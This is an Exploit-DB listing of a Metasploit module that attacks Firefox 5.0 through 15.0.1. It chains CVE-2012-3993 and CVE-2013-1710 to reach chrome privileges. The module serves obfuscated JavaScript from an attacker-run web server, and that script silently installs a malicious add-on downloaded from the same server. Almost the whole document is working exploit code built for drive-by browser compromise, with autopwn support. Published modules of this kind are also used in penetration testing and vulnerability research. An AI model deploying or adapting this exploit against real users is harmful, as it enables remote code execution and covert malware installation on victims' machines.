Mozilla Firefox 5.0 < 15.0.1 - __exposedProps__ XCS Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2013-08-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/30474/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::BrowserExploitServer
    include Msf::Exploit::Remote::BrowserAutopwn
    include Msf::Exploit::Remote::FirefoxAddonGenerator
    
    autopwn_info({
    :ua_name=> HttpClients::FF,
    :ua_minver=> "5.0",
    :ua_maxver=> "15.0.1",
    :javascript => true,
    :rank => NormalRanking
    })
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Firefox 5.0 - 15.0.1 __exposedProps__ XCS Code Execution',
    'Description'=> %q{
    On versions of Firefox from 5.0 to 15.0.1, the InstallTrigger global, when given
    invalid input, would throw an exception that did not have an __exposedProps__
    property set. By re-setting this property on the exception object's prototype,
    the chrome-based defineProperty method is made available.
    With the defineProperty method, functions belonging to window and document can be
    overriden with a function that gets called from chrome-privileged context. From here,
    another vulnerability in the crypto.generateCRMFRequest function is used to "peek"
    into the context's private scope. Since the window does not have a chrome:// URL,
    the insecure parts of Components.classes are not available, so instead the AddonManager
    API is invoked to silently install a malicious plugin.
    },
    'License' => MSF_LICENSE,
    'Author'=> [
    'Mariusz Mlynski', # discovered CVE-2012-3993
    'moz_bug_r_a4', # discovered CVE-2013-1710
    'joev' # metasploit module
    ],
    'DisclosureDate' => "Aug 6 2013",
    'References' => [
    ['CVE', '2012-3993'],# used to install function that gets called from chrome:// (ff<15)
    ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=768101'],
    ['CVE', '2013-1710'],# used to peek into privileged caller's closure (ff<23)
    ],
    'BrowserRequirements' => {
    :source=> 'script',
    :ua_name => HttpClients::FF,
    :ua_ver=> lambda { |ver| ver.to_i.between?(5, 15) }
    }
    ))
    
    register_options([
    OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
    ], self.class)
    end
    
    def on_request_exploit(cli, request, target_info)
    if request.uri.match(/\.xpi$/i)
    print_status("Sending the malicious addon")
    send_response(cli, generate_addon_xpi(cli).pack, { 'Content-Type' => 'application/x-xpinstall' })
    else
    print_status("Sending HTML")
    res = generate_html(target_info,request.headers['Host'])
    vprint_status res.to_s
    send_response_html(cli, res)
    end
    end
    
    def generate_html(target_info,refer)
    injection = if target_info[:ua_ver].to_i == 15
    "Function.prototype.call.call(p.__defineGetter__,obj,key,runme);"
    else
    "p2.constructor.defineProperty(obj,key,{get:runme});"
    end
    
    if refer.nil? or refer.blank?
    redirect = "#{get_module_uri}/addon.xpi"
    else
    proto = ((datastore['SSL']) ? 'https' : 'http')
    redirect = "#{proto}://#{refer}#{get_module_resource}addon.xpi"
    end
    
    script = js_obfuscate %Q|
    try{InstallTrigger.install(0)}catch(e){p=e;};
    var p2=Object.getPrototypeOf(Object.getPrototypeOf(p));
    p2.__exposedProps__={
    constructor:'rw',
    prototype:'rw',
    defineProperty:'rw',
    __exposedProps__:'rw'
    };
    var s = document.querySelector('#payload').innerHTML;
    var q = false;
    var register = function(obj,key) {
    var runme = function(){
    if (q) return;
    q = true;
    window.crypto.generateCRMFRequest("CN=Me", "foo", "bar", null, s, 384, null, "rsa-ex");
    };
    try {
    #{injection}
    } catch (e) {}
    };
    for (var i in window) register(window, i);
    for (var i in document) register(document, i);
    |
    
    js_payload = js_obfuscate %Q|
    if (!window.done) {
    window.AddonManager.getInstallForURL(
    '#{redirect}',
    function(install) { install.install() },
    'application/x-xpinstall'
    );
    window.done = true;
    }
    |
    
    %Q|
    <html>
    <body>
    #{datastore['CONTENT']}
    <div id='payload' style='display:none'>
    #{js_payload}
    </div>
    <script>
    #{script}
    </script>
    </body>
    </html>
    |
    end
    end